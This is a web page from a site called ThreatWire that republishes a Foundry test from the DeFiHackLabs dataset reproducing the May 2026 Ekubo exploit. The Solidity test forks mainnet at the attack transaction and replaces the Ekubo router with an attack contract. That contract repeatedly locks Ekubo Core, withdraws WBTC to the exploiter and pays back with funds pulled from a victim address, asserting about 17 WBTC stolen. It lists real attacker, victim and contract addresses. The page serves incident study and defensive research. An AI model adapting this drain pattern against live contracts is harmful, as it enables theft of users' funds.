Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/Ekubo_exp.sol

Public reproduction file for dataset entry Ekubo.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/Ekubo_exp.sol107 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7
8// @KeyInfo - Total Lost : ~$1.4M
9// Attacker : https://etherscan.io/address/0xA911Ff351B143634Dbc5aF3E204EA074583A83e3
10// Attack Contract : https://etherscan.io/address/0x61b0dAD9628D3e644eB560a5c9B0F960430E3A75
11// Vulnerable Contract : https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd
12// Attack Tx : https://etherscan.io/tx/0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0
13//
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd#code
16//
17// @Analysis
18// Post-mortem : https://x.com/EkuboProtocol/status/2051754481465856038
19// Twitter Guy : https://x.com/blockaid_/status/2051757787714118125
22contract EkuboTest is Test {
23 bytes32 internal constant TX_HASH = 0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0;
24 address internal constant EXPLOITER = 0xA911Ff351B143634Dbc5aF3E204EA074583A83e3;
25 address internal constant ORIGINAL_EXECUTOR = 0x61b0dAD9628D3e644eB560a5c9B0F960430E3A75;
26 address internal constant EKUBO_ROUTER = 0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd;
27 address internal constant EKUBO_CORE = 0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444;
28 address internal constant VICTIM = 0x765DECF4Fa157756e850C1079F60801b9219Edd1;
29 IERC20 internal constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
31 function setUp() public {
32 vm.createSelectFork("mainnet", TX_HASH);
33 vm.label(EXPLOITER, "Exploiter");
34 vm.label(ORIGINAL_EXECUTOR, "Original Ekubo Exploit Executor");
35 vm.label(EKUBO_ROUTER, "Ekubo Router");
36 vm.label(EKUBO_CORE, "Ekubo Core");
37 vm.label(VICTIM, "Ekubo WBTC Victim");
38 vm.label(address(WBTC), "WBTC");
39 }
41 function testExploit() public {
42 uint256 beforeWbtc = WBTC.balanceOf(EXPLOITER);
44 EkuboTraceExploitRouter readableRouter = new EkuboTraceExploitRouter(EXPLOITER);
45 vm.etch(EKUBO_ROUTER, address(readableRouter).code);
47 vm.prank(EXPLOITER, EXPLOITER);
48 IEkuboExploitRouter(EKUBO_ROUTER).drain();
50 uint256 stolenWbtc = WBTC.balanceOf(EXPLOITER) - beforeWbtc;
51 assertEq(stolenWbtc, 1_700_000_000);
53 console.log("Stolen WBTC", stolenWbtc);
54 }
58interface IEkuboCore {
59 function lock() external;
60 function forward(address to) external;
61 function withdraw(address token, address recipient, uint128 amount) external;
62 function pay(address token) external;
65interface IEkuboExploitRouter {
66 function drain() external;
69contract EkuboTraceExploitRouter {
70 uint256 internal constant REPEAT_COUNT = 85;
71 uint128 internal constant WBTC_PER_LOCK = 20_000_000;
73 IEkuboCore internal constant CORE = IEkuboCore(0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444);
74 IERC20 internal constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
75 address internal constant VICTIM = 0x765DECF4Fa157756e850C1079F60801b9219Edd1;
77 address internal immutable PROFIT_RECEIVER;
79 constructor(address profitReceiver) {
80 PROFIT_RECEIVER = profitReceiver;
81 }
83 function drain() external {
84 for (uint256 i; i < REPEAT_COUNT; ++i) {
85 CORE.lock();
86 }
88 require(WBTC.balanceOf(PROFIT_RECEIVER) > 0, "no profit");
89 }
91 function locked(uint256) external returns (uint128 amount, uint128 end) {
92 require(msg.sender == address(CORE), "not core");
94 try CORE.forward(address(WBTC)) {} catch {}
96 CORE.withdraw(address(WBTC), PROFIT_RECEIVER, WBTC_PER_LOCK);
97 CORE.pay(address(WBTC));
99 return (WBTC_PER_LOCK, 0);
100 }
102 function payCallback(uint256, address token) external {
103 require(msg.sender == address(CORE), "not core");
104 require(token == address(WBTC), "not WBTC");
105 require(WBTC.transferFrom(VICTIM, address(CORE), WBTC_PER_LOCK), "pay failed");
106 }

Analysis

Dataset entry

Public Foundry test for “Ekubo” (2026-05-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xa911ff351b143634dbc5af3e204ea074583a83e3

  • Attack Contract

    0x61b0dad9628d3e644eb560a5c9b0f960430e3a75

  • Vulnerable Contract

    0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd

  • Attack Tx

    0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0

File record

Name
Ekubo
Path
src/test/2026-05/Ekubo_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e02df2616dfba9e55cda543a42df3471529efc61
Language
Solidity
Size
107 lines
Date
2026-05-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/Ekubo_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e02df2616dfba9e55cda543a42df3471529efc61, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.